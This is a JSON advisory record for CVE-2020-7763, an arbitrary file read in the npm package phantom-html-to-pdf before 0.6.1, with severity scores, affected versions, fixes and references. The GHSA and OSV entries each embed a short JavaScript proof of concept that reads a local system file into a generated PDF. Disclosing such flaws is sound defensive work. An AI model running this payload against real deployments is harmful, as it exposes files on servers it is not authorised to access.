{"id":"CVE-2020-7763","aliases":["EUVD-2020-1448","GHSA-6h7f-qwqm-35pp","SNYK-JS-PHANTOMHTMLTOPDF-1023598"],"status":"published","title":"Arbitrary File Read","description":"This affects the package phantom-html-to-pdf before 0.6.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:U/RC:C","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.01618,"percentile":0.76215,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200","CWE-22"],"published":"2020-11-05T13:25:13Z","modified":"2026-10-20T10:54:24Z","fixes":[{"ecosystem":"npm","package":"phantom-html-to-pdf","fixed_in":["0.6.1","0.6.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"phantom-html-to-pdf","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.6.1"}]}]},{"source":"osv","ecosystem":"npm","package":"phantom-html-to-pdf","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.6.2"}]}]}],"products":[{"vendor":"jsreport","product":"phantom-html-to-pdf"}],"references":[{"url":"https://snyk.io/vuln/SNYK-JS-PHANTOMHTMLTOPDF-1023598","tags":["x_refsource_MISC","x_transferred","Exploit","Third Party Advisory","evidence","web"]},{"url":"https://github.com/pofider/phantom-html-to-pdf/commit/b5d2da2639a49a95e0bdb3bc0c987cb6406b8259","tags":["x_refsource_MISC","x_transferred","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2020-7763","tags":["advisory"]},{"url":"https://www.npmjs.com/package/phantom-html-to-pdf","tags":["web"]},{"url":"https://github.com/advisories/GHSA-6h7f-qwqm-35pp"}],"sources":{"cve":[{"id":"CVE-2020-7763","title":"Arbitrary File Read","description":"This affects the package phantom-html-to-pdf before 0.6.1.","status":"published","published":"2020-11-05T13:25:13.225Z","modified":"2024-09-16T20:21:29.586Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:U/RC:C","level":"high","assessor":"cna"}],"updated_at":"2026-11-02T14:35:58.331892Z"}],"euvd":[{"id":"EUVD-2020-1448","description":"This affects the package phantom-html-to-pdf before 0.6.1.","status":"published","published":"2020-11-05T13:25:13Z","modified":"2024-09-16T20:21:29Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P/RL:U/RC:C","level":"high"}],"updated_at":"2026-11-03T00:55:15.039746Z"}],"ghsa":[{"id":"GHSA-6h7f-qwqm-35pp","title":"Arbitrary File Read in phantom-html-to-pdf","description":"This affects the package phantom-html-to-pdf before 0.6.1.\n\n### PoC\n```js\nvar fs = require('fs') var conversion = require(\"phantom-html-to-pdf\")();\nconversion.allowLocalFilesAccess = false conversion({\n    html: \"document.write(window.location='c:/windows/win.ini')\"\n}, function(err, pdf) {\n    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);\n    console.log(pdf.numberOfPages);\n    pdf.stream.pipe(output);\n});\n```","status":"published","published":"2020-11-06T18:06:16Z","modified":"2023-09-07T22:36:43Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-22","CWE-200"],"updated_at":"2026-11-02T14:37:03.287418Z"}],"nvd":[{"id":"CVE-2020-7763","description":"This affects the package phantom-html-to-pdf before 0.6.1.","status":"published","published":"2020-11-05T14:15:12.097Z","modified":"2026-06-17T03:25:24.197Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"secondary"},{"version":"2.0","score":5,"vector":"AV:N/AC:L/Au:N/C:P/I:N/A:N","level":"medium","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:06:21.80969Z"}],"osv":[{"id":"CVE-2020-7763","description":"This affects the package phantom-html-to-pdf before 0.6.1.","status":"published","published":"2020-11-05T14:15:12.097Z","modified":"2026-10-20T10:54:24.516415018Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:44:17.34531Z"},{"id":"GHSA-6h7f-qwqm-35pp","title":"Arbitrary File Read in phantom-html-to-pdf","description":"This affects the package phantom-html-to-pdf before 0.6.1.\n\n### PoC\n```js\nvar fs = require('fs') var conversion = require(\"phantom-html-to-pdf\")();\nconversion.allowLocalFilesAccess = false conversion({\n    html: \"document.write(window.location='c:/windows/win.ini')\"\n}, function(err, pdf) {\n    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);\n    console.log(pdf.numberOfPages);\n    pdf.stream.pipe(output);\n});\n```","status":"published","published":"2020-11-06T18:06:16Z","modified":"2026-07-08T06:50:04.742462064Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-200","CWE-22"],"updated_at":"2026-11-02T15:46:39.618611Z"}]}}
